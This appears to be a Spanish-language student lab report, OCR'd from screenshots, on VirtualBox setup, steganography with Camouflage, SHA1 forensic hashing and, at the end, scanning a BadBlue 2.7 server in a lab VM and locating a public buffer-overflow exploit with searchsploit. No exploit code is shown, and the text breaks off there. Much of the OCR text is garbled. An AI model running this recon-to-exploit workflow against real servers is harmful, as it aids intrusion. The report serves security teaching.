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La seguridad informatica se ha convertido en uno de los pilares mas importantes dentro del

INTRODUCCION

campo de las telecomunicaciones y las tecnologias de la informacion. En la actualidad, la
proteccion de los sistemas, redes y datos personales requiere no solo conocimiento tedrico, sino
también la capacidad de realizar pruebas practicas y auditorias controladas que permitan
comprender como operan las amenazas en escenarios reales.
Este informe presenta un proceso experimental en el cual se implementan y analizan distintas
herramientas y técnicas de seguridad y auditoria en redes, haciendo uso de entornos
virtualizados con Oracle VirtualBox, Kali Linux y Windows XP. La metodologia aplicada se
centra en la instalacion de controladores, la configuracion de carpetas compartidas, la creacion de
archivos camuflados mediante esteganografia con el programa Camouflage, la generacion de
hashes forenses para verificar la integridad de datos, y finalmente, la explotacién controlada de
una vulnerabilidad conocida en el servidor BadBlue 2.7.

A través de estas actividades, el estudiante adquiere habilidades précticas en
virtualizacion, analisis forense digital y pruebas de penetracion (pentesting), comprendiendo
el ciclo completo de una auditoria de seguridad desde la preparacion del entorno hasta la
identificacion de brechas explotables. Ademas, se promueve el pensamiento critico frente a la
importancia de los principios de confidencialidad, integridad y disponibilidad de la informacion
(CIA triad), fundamentales en la gestion moderna de la ciberseguridad. Este trabajo no solo busca
reforzar los conocimientos técnicos, sino también generar conciencia sobre la responsabilidad
ética y profesional en el uso de herramientas de hacking y auditoria, recordando que su correcta
aplicacion permite fortalecer la seguridad de los sistemas y prevenir incidentes de tipo cibernético

en instituciones, empresas y redes personales.
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Objetivo general

OBJETIVOS

Implementar y analizar herramientas de seguridad informéatica en entornos virtualizados
mediante la utilizacion de Kali Linux y Windows XP, con el proposito de comprender las técnicas
de esteganografia, generacion de hash forense y explotacion de vulnerabilidades en sistemas.
Objetivos especificos

Configurar y optimizar el entorno de trabajo en Oracle VirtualBox para realizar practicas
seguras de auditoria y pentesting.

Instalar y probar herramientas de esteganografia (Camouflage) para ocultar informacion
dentro de archivos y evaluar su eficacia.

Generar y verificar hashes forenses (SHA1) en Kali Linux para garantizar la integridad y
autenticidad de los datos digitales.

Ejecutar pruebas controladas de explotacion de vulnerabilidades en el servicio BadBlue
2.7, comprendiendo su impacto en la seguridad de un sistema.

Documentar los resultados obtenidos y reflexionar sobre la aplicacion ética de las

herramientas empleadas en procesos de auditoria y ciberseguridad.

PLANTEAMIENTO DEL PROBLEMA
En el contexto actual, las organizaciones dependen en gran medida de sus sistemas
informaticos para almacenar y procesar informacion critica. Sin embargo, el crecimiento de las
amenazas cibernéticas y las vulnerabilidades inherentes a los sistemas operativos hacen

indispensable el desarrollo de competencias en analisis, deteccion y mitigacion de riesgos
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digitales.

Una de las principales dificultades que enfrentan los futuros ingenieros y auditores de redes es la
falta de experiencia practica en el uso de herramientas profesionales de ciberseguridad. A
menudo, los estudiantes conocen la teoria, pero no disponen de entornos seguros donde puedan
experimentar con técnicas de explotacion, anadlisis forense o esteganografia sin comprometer
equipos reales.
Por ello, surge la necesidad de crear un laboratorio virtual controlado en el que se simulen
escenarios de ataque y defensa, utilizando tecnologias como VirtualBox y Kali Linux. En este
contexto, el presente trabajo plantea el desafio de implementar herramientas forenses y de
auditoria que permitan comprender los mecanismos de vulnerabilidad y las estrategias de
proteccion aplicables en entornos reales, fortaleciendo asi las capacidades técnicas y éticas de los

futuros profesionales de la seguridad informatica.
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PRACTICA EN CLASES
Paso 1: En esta imagen se muestra el proceso de instalacion de Oracle VirtualBox Guest
Additions version 7.1.8 dentro de una méaquina virtual con Windows XP Professional Service Pack
3. Este complemento permite mejorar la integracion entre el sistema anfitrion y el sistema virtual,
optimizando funciones como la visualizacion, el uso compartido del portapapeles y la

sincronizacion del cursor del raton
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1 I0racle VirtualBox Guest Additions

Aqui se observa el contenido del explorador “Mi PC” en Windows XP, donde se muestra la unidad
de disco VirtualBox Guest Additions (D:) montada correctamente. Esta accion indica que el
instalador ha sido insertado de manera virtual y estd listo para ejecutarse, paso previo a la

instalacion de los controladores y utilidades que mejoran el rendimiento de la méquina virtua
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Oracle VirtualBox Guest Additions 7.1.8 Setup

Installing
Please wait while Oracle VirkualBox Guest additions 7.1.8 is being installed.

s

Executing: "Ci\Archivos de programalOraclelvirtualBox Guest additionsiYEoxDrvInst.exe" --lc

(LTI T I T T T TTTTTTITIT]

YEoxDrvInst 7.1.5 r165463 (verbosity: 0) (apr 11 2025 16:51:31) release log (x56)
Log opened 2025-10-02T14:13:15. 2190332002

OS5 Product: Windows =P Professional

05 Relzase: 5.1.2600

05 Service Pack: 3

Executable: C:Varchivos de programalOracle virtualBox Guest Additions\YBoxDrvInst. ..
Process ID: &40

Package bype: WINDOWS_I2BITS_GEMERIC

Oracle YWirtualBox wersion 7.1.8 - r168469

Using Windowss wersion 5.1.2600 {x86)

Installing driver "Ciharchivos de programaioracleivirtualBox Guest additionsiwBoxGu...

2

&

= Back Mesck = Cancel

Espacio libre: 0 bytes
Tamario total: 55,5 ME

Oracle VirtualBox Guest additions 7.1.8 Setup

2 Instalacion de Oracle VirtualBox Guest Additions

Paso 2: Se crean en el explorador de archivos de Windows 11 con la carpeta Doc_ MV, que
contiene varios documentos y archivos de trabajo. Esta carpeta serd utilizada como carpeta
compartida entre el sistema anfitrion y la maquina virtual, permitiendo el intercambio de

informacion sin necesidad de dispositivos externos.
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| Doc MV +

< . C ) > Descargas > Doc MV uscar en Doc

3. Exploracion de la carpeta Doc_MV en el sistema anfitrion

En esta captura se observa la interfaz de VirtualBox con la méquina virtual de Windows XP en
ejecucion. Desde el menu Dispositivos > Carpetas compartidas > Preferencias de carpetas
compartidas, se accede a la configuracion donde se pueden afiadir, modificar o eliminar carpetas

compartidas entre ambos sistemas.

© Puede que su equip esté en

+4 Inicio

4. Acceso a las preferencias de carpetas compartidas en VirtualBox
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5. Seleccion de la carpeta compartida desde el sistema anfitrion

Aqui se configura la ruta de la carpeta compartida, seleccionando Doec_MV desde la ruta local
C:\Users\Edward Camilo\Downloads. Este paso vincula la carpeta del sistema anfitrion con la
maquina virtual, habilitando la comunicacion de archivos de manera directa. se activa el modo
Automontar y se marca la opcion Hacer permanente, garantizando que la carpeta esté disponible

cada vez que se inicie la maquina virtual.
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6. Configuracion de los parametros de la carpeta compartida

Finalmente, se muestra que la carpeta Doc_MYV ha sido montada exitosamente dentro del sistema
operativo Windows XP, visible como una unidad de red con el identificador Z: bajo el nombre

VBoxSvr. Esto confirma la correcta comunicacion entre el sistema anfitrion y la maquina virtual.

7. Configuracion de los parametros de la carpeta compartida.
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Paso 3: Instalacion de los programas pasados a Windows xp
Se muestra el proceso de instalacion del programa Adobe Reader 8 en el sistema operativo

Windows XP mediante la maquina virtual Oracle VirtualBox

15 Adobe Reader B - Setup

Instaling Adobe Reader 8
The program features you selected are being nstaled.

4

St Copyianew s
Fhs: Anvots.apl e 4099171 bytes

"TTTnicio. | e Meerlesen Veox

= [BEE
BRO¥ET S MO TN @B CrLDER

8. Instalacion de Adobe Reader 8

Ventana correspondiente al acuerdo de licencia del programa Adobe Reader 8. El usuario debe
aceptar los términos y condiciones establecidos por Adobe Systems para continuar con la

instalacion del software.
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Entrada Di

Adobe Reader 8

License Agreement

Please select alanguage for the License Agreemert: v

Ucsnse Agressent:

ADOBE SYSTEMS INCORPORATED

ADOBED SOFTWARE LICENSE AGREEMENT

NOTICE TO USER PLEASE READ THIS CONTRACT CAREFULLY. BY USING,
COPYING OR DISTRIBUTING ALL OR ANY PORTION OF THE ADOBE SOFTWARE
("SOFTWARE®) YOU ACCEPT ALL THE TERMS AND CONDITIONS OF THIS

AGREEMENT, * INCLUDING, N PARTICULAR THE LIMITATIONS ON: USE

CORTAINED IN SECTION 2, TRANSFERABILITY IN SECTION 4, WARRANTY IN

SECTION 7, AND LIABILITY I SECTION 8. YOU AGREE THAT THES AGREEMENT IS

LIKE ANY WRITTEN NEDOTIATED AGREEMENT SIGNED BY YOU.

\OREEMENT [S ENFORCEABLE ACAINST YOU AND ANY LEQAL ENTITY

THAT OBTAINED THE SOFTWARE AND ON WHOSE BEHALF IT IS USED, IF YOU
DO NOT AGREE, DO NOT USE THIS SOFTWARE

Adobe and s supplises own all intelectual property in the Software. A obe permsts you
to Use the Software cnly m sccordance with the teme of this Agraement. Use of some
third p tezms and condet

typically found in a separate license agreemers, & "Read Me” fie located near such
materals ot in the - T -

" Inicio W Mrerises 751 Adcbe Reoder 8- Setip hd

= [SEE
BO¥MET MDY @ CTRLDERECHA

9. Aceptacion del acuerdo de licencia de Adobe Reader 8

Captura del proceso de instalacion del software BadBlue Personal Edition 2.72,
herramienta utilizada para compartir archivos y servir contenido web en redes locales. Se observa

el avance de la extraccion e instalacion de archivos en el entorno Windows XP.

r Entrada Di

[
Extract: search.of .. 100%
100%

Extract: stawala.of .. 100%
Estract: stamzib,

Extract: tabfokl.oF .. 100%.
Estract: tablok2.oF .. 100%

" Inicio ™ Meries

s [05F
BO¥SESMOTS @ CTRL DERECHA

10. Instalacion de BadBlue Personal Edition 2.72
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Inicio del asistente de instalacion del programa Camouflage 1.2.1, una aplicacion
empleada para ocultar archivos dentro de otros, brindando una capa adicional de seguridad

mediante esteganografia. Se muestra la pantalla de bienvenida del instalador.

B T T —
Camanflage

skt e Comni Chpsrmyen Toe
P e S

AONS/,MOMN @0Cw

11. Instalacion del programa Camouflage 1.2.1

Proceso de instalacion del navegador Internet Explorer 8 en Windows XP. En esta fase,
el sistema descarga actualizaciones y archivos necesarios para completar la instalacion del

explorador de Microsoft.

"7 nicio 0 Pt on VoS,

BOoONSsrmOmN Rﬁ TRL DERECHA

12. Instalacion de Windows Internet Explorer 8
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\

i‘

Z Instalar Windows Internet Explorer 8

@ La instalacion de Internet Explorer se completo.
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, haga cic 2 ¥ haga cic en

Windows Update,
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9t
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13. Instalacion Finalizada

Primera ejecucion del programa VLC Media Player tras su instalacion. Se visualiza la
ventana de configuracion de las politicas de privacidad y red, donde el usuario puede habilitar el

acceso a metadatos y actualizaciones automaticas.
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14. Configuracion inicial del reproductor multimedia VLC

Primera ejecucion del programa VLC Media Player tras su instalacion. Se visualiza la ventana de
configuracion de las politicas de privacidad y red, donde el usuario puede habilitar el acceso a

metadatos y actualizaciones automaticas.

& Politicas de privacidad y red

Policas de privacdad y red
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15. Configuracion inicial del reproductor multimedia VLC
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Paso 4 Se visualiza la interfaz del programa Camouflage durante el proceso de creacion
de un archivo camuflado. En esta etapa, el usuario define la ubicacion y el nombre del archivo

resultante que contendra los datos ocultos.

ot | s | oo |

"7 lnicio 0

TRL DER

BORSs/mOrN 60

16. Creacion del archivo camuflado con Camouflage

Se muestran en el escritorio los archivos originales antes del proceso de camuflaje. Estos
archivos serviran como base para la ocultacion de informacién mediante la herramienta

Camouflage.
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17. Archivos visibles en el escritorio de Windows XP

El usuario realiza un clic derecho sobre un archivo con el fin de abrir el menu contextual y
seleccionar la opcidén de Camouflage, dando inicio al proceso de ocultamiento de archivos dentro

de otro.

v

BOoOMS,srmOMmN @0a

18. Seleccion del archivo portador para el camuflaje

La interfaz de Camouflage muestra los archivos que serdn ocultos dentro del archivo
principal. En este caso, se observan varios documentos listos para ser incorporados al archivo

camuflado.
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19. Ventana de seleccion de archivos para ocultar

Se aprecia el escritorio de Windows XP tras finalizar el proceso de camuflaje, donde los

archivos ocultos se encuentran integrados dentro de un archivo portador que mantiene su
apariencia original.

ORI
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20. Archivos camuflados en el escritorio
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Camouflage solicita al usuario la contraseiia de seguridad necesaria para acceder al contenido

oculto dentro del archivo camuflado, asegurando asi la confidencialidad de la informacién.

T Inicio % Camoufioge s |9

BORS s MOMYN G0 crriDE

21. Ingreso de contrasenia para extraer archivos
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Ventana final del programa Camouflage mostrando los archivos extraidos con éxito desde

el archivo camuflado. Este proceso demuestra la recuperacion de informacion protegida mediante

esteganografia.

" nicio
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22. Extraccion de archivos desde el archivo camuflado

El programa Camouflage solicita al usuario seleccionar la ubicacion donde se guardaran
los archivos extraidos del archivo camuflado. En esta ventana se puede definir una carpeta

especifica dentro del sistema operativo Windows XP.

= [® e
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23. Seleccion de carpeta de destino para la extraccion
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Se muestra la ventana de confirmacion de la ruta seleccionada para extraer los archivos
ocultos mediante Camouflage. Al presionar el boton “Finish”, el programa procede a recuperar

los datos en la ubicacion indicada.

Choose the fldes v the flas ars to be exdracted.

Exfisct ToFokder [T \Dccuments and Setings\meyner_aniorio_moye \Excrione ) .|

T e |
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24. Confirmacion de la carpeta de extraccion

CAPITULO 1 LIMITE DE CAMUFLAGE DE ARCHIVOS

Se muestra la copia de documentos relacionados con el proceso de instalacion de
VirtualBox y OpenSUSE hacia la carpeta “Windows XP”, preparando los archivos necesarios para

el laboratorio de camuflaje.
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M Windows xp +

Este equipo > EDWARDUSB(E) > Windows xp

T Ordenar Detalles

ION DE VIRTUAL
Copiando 30 elementos de Descargas a Windows xp

94% completado

N DE

O DE INTALACION

DE

wm

Nombre: PROCESO DE INTALACION DE VIRTUALBOX ¥ OPENSUSE EN VI
Tiempo restante: Aproximadamente 5 segundos.
S RCuIE  Elementos restantes: 2 (12,3 MB)

Menos detalles

JE VIRTUAL

25Transferencia de archivos para el entorno virtual

Carpeta “Windows XP” con multiples archivos copiados exitosamente, los cuales se
utilizaran para las pruebas de camuflaje en el entorno de Windows XP virtualizado.

B Windows xp X +

> Esteequipo > EDWARDUSB(E) > Windows xp Buscar en Windo

Nuevo X & E D W N Ordenar o . (03 Detalles

NutriFacil- NutriFadil- NutriFacil- NutriFacil- NutriFacil- NutriFacil- NutriFacil- Nutrifadil- NutriFacil- NutriFacil- NutriFacil- NutriFacil-
Quibdo Quibdo i i Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo
(2)-compri = (2)-compri - i i || (2)-compri | (2)-compri || (2)-compri || (2)-compri = (2)-compri || (2)-compri | (2)-compri | (2)-compri || (2)-compri || (2)-compri
mido - 2.. = mido-2... i i .. | mido-2.. | mido-2 mido - 2 mido-2.. | mido-2.. || mido-2.. || mido-2.. | mido-2.. || mido-2.. || mido-2..

= E E a
A Imégenes

Nutrifacil- | Nutrifacil- || Nutrifacl- || Nutrifacil- | Nutrifacil- | Nutrifacil- || Nutrifacil- | Nutrifacil- | Nutrifacil- || Nutrifacil- | Nutrifacil- = Nutrifacl- | Nutrifacil- || NutriFacil-

Adisica Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo

(2)-compri | (2)-compri || (2)-compri || (2)-compri | (2)-compri | (2)-compri || (2)-compri | (2)-compri | (2)-compri || (2)-compri || (2)-compri | (2)-compri || (2)-compri || (2)-compri
mido-2.. | mido-2.. | mido-2.. || mido-2. | mido-2. | mido-2.. | mido-2. | mido-2.. | mido-2.. || mido-2.. | mido-2..  mido-2. | mido-2.. || mido-2..

RERERRRRE

I SEGUNDO P* Nutrifacil- | Nutrifacil- || Nutrifacil- || Nutrifacil- = Nutrifacl- | Nutrifacl- || Nutrifacil- | Nutrifacil Nutrifacil- || Nutrifacil- || Nutrifacil- ~ Nutrifadl- - || NutriFacil-
= Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo
I ArcGIS (2)-compri | (2)-compri || (2)-compri || (2)-compri | (2)-compri | (2)-compri || (2)-compri || (2)-compri | (2)-compri || (2)-compri || (2)-compri = (2)-compri (2)-compri
B DATOS mido -2.. | mido-2.. | mido-2.. || mido-2.. ido -2.. | mido-2.. || mido-2.. | mido-2.. | mido-2.. | mido-2. || mido-2.. mido-2.. mido - 2...
ATOS |
NutriFacil

it
Nutrifacil- || Nutrifacil- || Nutrifacil- | Nutrifacil- | Nutrifacil- || Nutrifacil- | Nutrifacil- | Nutrifacil- | Nutrifacil- | Nutrifacil- | Nutrifacl- || Nutrifacil- || NutriFacil-
Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo Quibdo
(2)-compri  (2)-compri || (2)-compri || (2)-compri | (2)-compri | (2)-compri || (2)-compri | (2)-compri - (2)-compri | (2)-compri | (2)-compri || (2)-compri || (2)-compri
mido - 2. mido - mido - 2.. || mido - 2.. mido - 2. mido - 2. i i i £ mido - 2. mido - 2. || mido - mido - 2.

T Em

26. Verificacion de archivos copiados
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Ajuste de la carpeta compartida “Windows xp” en VirtualBox para permitir la conexion

entre el sistema anfitrion y la méquina virtual, facilitando el intercambio de archivos.

Archivo Maquina Ver Entrada Dispositivos

*4 Inicio

4B >5°c
To

orm. fuerte

Expert

(]

Sistema

Pantalla

Almacenamiento

Audio

Red

Puertos serie

usB

8]
C
)
»
&
&
4
-
o

Interfaz de usuari

(7 Badihae: the fle-shar Stnbolo del sstema ® mec

Carpetas compartidas
Nombhre Ruta Acceso Automontar En
-
Ruta de carpeta: Il E\Windows xp
Nombre de carpeta: Windows_xp
Punto de montaje:
Sélo lectura
v Automontar
v Hacer permanente

~ Depurar ¥ Ayuda ~
Aceptar Cancelar

Carpetas compartidas

io
Mostrar en la parte superior de la pantalla

Aceptar Cancelar

nONFsmEMY 60

27. Configuracion de carpeta compartida en VirtualBox

Se observa en la configuracion avanzada de VirtualBox la carpeta “Windows xp” agregada

con acceso completo y auto montaje activado, confirmando la correcta conexion entre sistemas.

Basic Expert

sdan

=
&
4
-
]

General

Sistema

Pantalla

Almacenamiento

Audio

Red

Puertos serie

ussB

Carpetas compartidas

Interfaz de usuario

Carpetas compartidas

Nombre luta == =

\MATERIALES

Interfaz de usuario

Archive = Maquina ~ Ver = Entrada Depurar ~ Ayuda

Estado visual: Normal (ventana)
Minibarra de herramientas: v Mostrar en pantalla completa/fluido

Mostrar en la parte superior de la pantalla

Aceptar Cancelar Ayuda

28. Carpeta compartida configurada correctamente
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Dentro de la maquina virtual, Windows XP detecta correctamente las unidades compartidas

(X:,Y:, Z:), confirmando la comunicacion con el equipo anfitrion.

Archiva  Edicién  Wer Fawvoritos  Herramientas  Avuda

O Atrds \_) L% p Bisqueda [| - Carpstas | [T2f]-

Direccidn | &g MiPC

Archivos almacenados en este equipo
Tareas del sistema
—

Documentos compartidos 's Documentos de Ukch

wer informacicn del sistema
‘Y Agregar o quitar programas

2+ cambiar una configuracion
unidades de disco duro

Otros sitios

W"‘;i-\ Disca lacal (C:)
W s sitios de red

3 Mis documentos
Eremumentes cemEorinds Dispositivos con almac i extraible

2+ Panel de control
Q’:‘n wirkualBox Guest Additions (D:)

Unidades de red

Detalles

i PC
Carpeta del sistema

i Materiales en "WBoxSur® (¥ i Doc_My en "WBoxSwr® (21}

i Windows_xp en "WBoxSur® (%11

29. Acceso a carpetas compartidas desde Windows XP

Transferencia de los documentos desde la carpeta compartida hacia el escritorio de

Windows XP, asegurando la disponibilidad de los archivos dentro del entorno virtualizado.

e
i
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ENEN=
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30. Copia de archivos al entorno virtual
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Vista general del escritorio de Windows XP mostrando los archivos de prueba y documentos PDF

que seran utilizados en el proceso de camuflaje con la herramienta Camouflage.

21 PRDCESO0 DE ITALACION DE VIRTUALBCIY OPE

“inicio

31. Archivos listos para camuflaje

La interfaz de Camouflage permite elegir el archivo que actuara como contenedor, dentro

del cual se ocultaran los demas archivos seleccionados.

Tinicio

32. Configuracion del archivo contenedor
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Se observa la ruta del archivo contenedor configurado en el programa Camouflage, que

servird como camuflaje para los archivos seleccionados.

.

Camouflage

'our camouflaged files will be made to look and act like the following file.

Carmouflage zing C:ADocuments and 5ettings'xwa_l,lner_anh:unin_mnya_'\Escritnriu'\F‘ruﬂJ

Click here to get the latest verzion

33. Archivo contenedor definido en Camouflage

En esta ventana del programa Camouflage, se selecciona la ubicacion y el nombre del
archivo que sera creado con la informacién oculta. Se puede observar que se activa la opcion “Solo

lectura” antes de continuar con el proceso.

Camouflage
Chooze the location and filename for the camouflage file that iz about to be created.
|| Create This File |r'|ts and Settingsywapner_artanio_mopa_SEscritorio\Prueba 2 1]jp jJ
Iv Fead-aonly
Click here to get the latest version < Back Mest > Close

34. Creacion del archivo camuflado

El programa solicita establecer una contrasefia de seguridad para proteger el archivo
camuflado. En este caso, se utilizo la contrasefia 54321 para continuar con la encriptacion del

contenido.
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Camouflage

7]

Enter a security pazsword for your camouflaged file if wou wigh,

Fazzward | “““““

“erify Password

Click here to get the latest wersion

< Back Finizh

35. Configuracion de contraseia

Aqui se muestran las propiedades del archivo generado llamado Prueba_2.1, identificado

como una imagen JPEG con un tamafio de 228 MB. Esto indica que los datos se ocultaron

correctamente dentro del archivo de imagen.

: Propiedades de Prueba_ 2.1

seneral | Resumen

ﬂ | Prusba_z.1 |

Tipo de archivo: Imagen JPES
Se abre con: ‘_':|| Wisor de imagenes [ “ambiar. .. ]
Ubicacian: i Documenks and Settingsiwayner_antonio_mos.

Tamario: 228 ME {232.750. 105 bytes)

Tamario en disco:

Z28 ME (239.751. 168 bytes)

Zreado: marktes, 14 de ockubre de 2025, Z3:06:07

Modificado: rmartes, 14 de octubre de 2025, 23:00:33

Ultimo acceso: markes, 14 de octubre de 2025, 23:26:24

Atributos: [sélo lectura []oculto [Opciones avanzadas. . ]

[ Acepkar ] [ Zancelar ] [ aplicar ]

36. Propiedades del archivo resultante

En esta captura se observa el escritorio del sistema operativo Windows XP ejecutdndose
en VirtualBox. Se puede ver que el sistema comienza a mostrar sefiales de lentitud mientras se

procesan varios archivos con Camouflage.



Universidad Tecnolégica del Chocé
Diego Luis Cordoba

Desde aqui muestra sinos de lentitud

| These fles vil bo hidden witin sous camoutlaged .

Nems
e
Epusbs 1050
£ Pusba_8ipg
EiPucks Sy
B postst o9

37. Ejecucion del programa Camouflage
El programa Camouflage esta realizando el proceso de ocultar informacion dentro del

archivo especificado. La barra de progreso muestra el avance de la operacion mientras se crea el

archivo camuflado.

Prucha 2

iFElhe) Wil
. o & = a: (2 pslinsidinll
(_antonio_moya_! ipg..

puebra ¢ Puebrat

pruebatl

38. Proceso de camuflaje en ejecucion



Universidad Tecnolégica del Chocé
Diego Luis Cordoba

Durante la creacion del archivo final, el programa muestra un error con el mensaje “Bad
record number (63)”. Esto indica que el proceso no se completd correctamente, probablemente

debido al tamafio o tipo del archivo utilizado.

7 nicio

39. Error durante el proceso de camuflaje

CAPITULO 2: HASH
Se muestra el sistema operativo Kali Linux 2.0 corriendo en VirtualBox. En la parte
superior se selecciona el dispositivo USB desde el ment para conectarlo a la maquina virtual. En

la terminal se ejecuta el comando fdisk -1 para listar los discos conectados y verificar la deteccion

del USB.
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T kali linux 2.0 [Corriendo] - Oracle VirtualBox

Ver Entrada Dispositivos Ayuda
© Unidades 6pticas
a ¥ Audio

ot@kali: (1 Red

> # uss

Archivo Maquina

= . Aplicaciones  Lugares

L$ sud
[sudo] contraseia para kal -]
/home/kal w . oetas compart

maras web

Disk /dev/sda: 41,6 GiB, 4 Ml Portapapeles compartido
Disk model: VBOX HARDDISK [ A,
Units: sectors of 1 * 512

Sector size (logical/physi & Insertarimagen de CD de los complementos del invitado.
1/0 size (minimum/optimal)
Disklabel type: dos

Disk identifier: 0x73419c71

strar y soltar

# Upgrade Guest Additions.

Start End Sectors Size Id Type

2048 82696191 82694144 39,4G 83 Linux
82698238 87240703 4542466 2,26 f W95 Ext'd (LBA)
82698240 87240703 4542464 2,2G 82 Linux swap / Solaris

Device Boot
/dev/sdal *
/dev/sda2
/dev/sda5

Disk /dev/sdb: 7,5 GiB, 8053063680 bytes, 15728640 sectors
Disk model: ProductCode

Units: sectors of 1 * 512 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos

Disk identifier: 0x7254872d

Boot Start End Sectors
8192 15728639 15720448

Size Id Type
7,56 7 HPFS/NTFS/exFAT

/home/kali

40. Conexion del dispositivo USB en Kali Linux

En esta imagen se utiliza el comando

2deoct 11:48 Q1% @2% Q0% 1008 400k
root@kali: fhomefkali Q
M8 Preferencias USB
v USB Disk 2.0 [0200]

XCTECH Wireless-Receiver [0183]

GEMBIRD [0111]

Integrated Camera [0

CoreCh USB 10/100 LAN [2000]

Foxconn / Hon Hai [01

B O¥ET MBS @K CTRLDERECHA]
—
N

shalsum para generar el hash del dispositivo /dev/sdb.

El resultado se guarda en un archivo llamado hash_forense.shal ubicado en la carpeta /home/kali.

Este hash sirve para comprobar la integridad de los datos del dispositivo USB.

ivo  Maqui Entrada  Dispositivos  Ayuda

Units: sectors of 1 * 512 = 512 bytes

““Device

Sector size (logical/physical): 512 bytes / 512 bytes
1/0 size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos

Disk identifier: 0x73419c71

start End Sectors Size Id Type

2048 82696191 82694144 39,46 83 Linux
82698238 87240703 4542466 2,26 f W95 Ext'd (LBA)
82698240 87240703 4542464 2,26 82 Linux swap / Solaris

Device Boot
/dev/sdal %
/dev/sda2
/dev/sdas

Disk /dev/sdb: 7,5 GiB, 8053063680 bytes, 15728640 sectors
Disk model: ProductCode

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes
I/0 size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos

Disk identifier: 0x7254872d

Boot Start End Sectors
8192 15728639 15720448 7,56

size Id Type

/dev/sdb1 7 HPFS/NTFS/exFAT

/home/kali
/dev/sdb > /home/kali/hash_forense.shail]

41. Creacion del archivo hash forense
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Después de un intento fallido de guardar el archivo hash en una carpeta inexistente, se

corrige la ruta y se almacena el archivo hash_forense.shal en el Escritorio. Esto permite un

acceso mas rapido y una mejor organizacion de la evidencia digital generada.

Archivo Méaquina Ver Entrada Dispositivos Ayuda

= . Aplicaciones  Lugares 2deoct 11:53

4 2 - h Device Boot Start End Sectors Size Id Type

k - /dev/sdal * 2048 82696191 82694144 39,4G 83 Linux
/dev/sda2 82698238 87240703 4542466 2,26 f W95 Ext'd (LBA)
/dev/sda5s 82698240 87240703 4542464 2,2G 82 Linux swap / Solaris

Disk /dev/sdb: 7,5 GiB, 8053063680 bytes, 15728640 sectors
Disk model: ProductCode

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos

Disk identifier: 0x7254872d

Device Boot Start End Sectors Size Id Type
/dev/sdb1 8192 15728639 15720448 7,5G 7 HPFS/NTFS/exFAT

/home/kali
o /dev/sdb > /home/kali/Desktop/hash_forense.shal
zsh: no existe el fichero o el directorio: /home/kali/Desktop/hash_forense.shal

/home/kali
/dev/sdb > /home/kali/Escritorio/hash_forense.shal

VG
Mayorm. nubladc

42. Guardado correcto del hash en el escritorio
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CAPITULO 3: BADBLUE
Salida de nmap -sV 10.0.2.7 que muestra puerto 80 abierto y servicio BadBlue httpd 2.7,
junto con otros puertos de Windows. Esto confirma la presencia del servidor vulnerable y su
version.

/home/kali

-sV 10.0.2.7
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 18:17 -05
Nmap scan report for 10.0.2.7
Host is up (0.0028s latency).
Not shown: 995 closed tcp ports (reset)

STATE SERVICE VERSION

open http BadBlue httpd 2.7

open msrpc Microsoft Windows RPC

open nethios-ssn Microsoft Windows netbios-ssn

open microsoft-ds Microsoft Windows XP microsoft-ds

open ms-wbt-server Microsoft Terminal Services
MAC Address: 08:00:27:2E:C9:8D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds

/home/kali

43. Deteccion del servicio con Nmap

Captura del escritorio Windows XP donde se observa una ventana de simbolo del sistema
(ipconfig) y el navegador apuntando a la interfaz de BadBlue. Muestra que el host objetivo

responde en la red y la pagina web del servicio es accesible desde la maquina de pruebas.

pratsto £

< | @ bactbo: the e

Share your Excel
spreadsheets over" "
the web. Fast.

1. Listo pero con ertorss en 13 p4gns,

*Z Inicio (- Bablmthefleshar., < Sinkok del astema - Windows_sp en VB0,

44,Acceso al equipo objetivo (escritorio remoto / pruebas)
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Pantalla del navegador mostrando la pagina principal de BadBlue (panel o pagina de

carga). Permite visualizar la interfaz vulnerable que seré objetivo de la explotacion.

45.Interaccion con la interfaz web de BadBlue

Resultado del comando curl -I http://10.0.2.7:80 mostrando HTTP/1.1 200 OK vy
encabezado Server: BadBlue/2.7. Esto sirve como verificacion adicional de la version exacta

expuesta por el servidor.

/home/kali
http://10.0.2.7:80
HTTP/1.1 200 0K
Server: BadBlue/2.7
Content-Type: text/html
Accept-Ranges: bytes

Date: Wed, 15 Oct 2025 23:28:31 GMT

ETag: "3f45655a8f87dbel:43d"

Last-Modified: Fri, 22 Aug 2003 00:35:38 GMT
Content-Length: 1085

Connection: close

Cache-control: public

46. Verificacion del encabezado HTTP con curl



Salida de searchsploit badblue 2.7 que lista varios exploits y recursos relacionados
(incluyendo el exploit 4784.pl y otros). Indica que existen exploits publicos conocidos para esa

version.

/home/kali
badblue 2.7

2 - PassThru Remote Buffer Overflow windows/remote/4784.pl

2b - Multiple Vulnerabilities windows/remote/4715.txt

2b - PassThru Buffer Overflow (Metasploit) windows/remote/16806.rb
Working Resources il - Denial of Service windows/dos/20641, txt
Working Resources . - Full Path Disclosure windows/remote/20640.txt

Shellcodes: No Results

/home/kali
-p windows/remote/4784.pl
BadBlue 2.72 - PassThru Remote Buffer Overflow
ttps://www.exploit-db.com/exploits/4784
/usr/share/exploitdb/exploits/windows/remote/4784.pl
0SVDB-42416, CVE-2007-6377
Verified: True
File Type: Perl script text executable
Copied EDB-ID #4784's path to the clipboard

47. Busqueda de exploits con SearchSploit

Comando cp /ust/share/exploitdb/exploits/windows/remote/4784.pl . (o similar) que copia
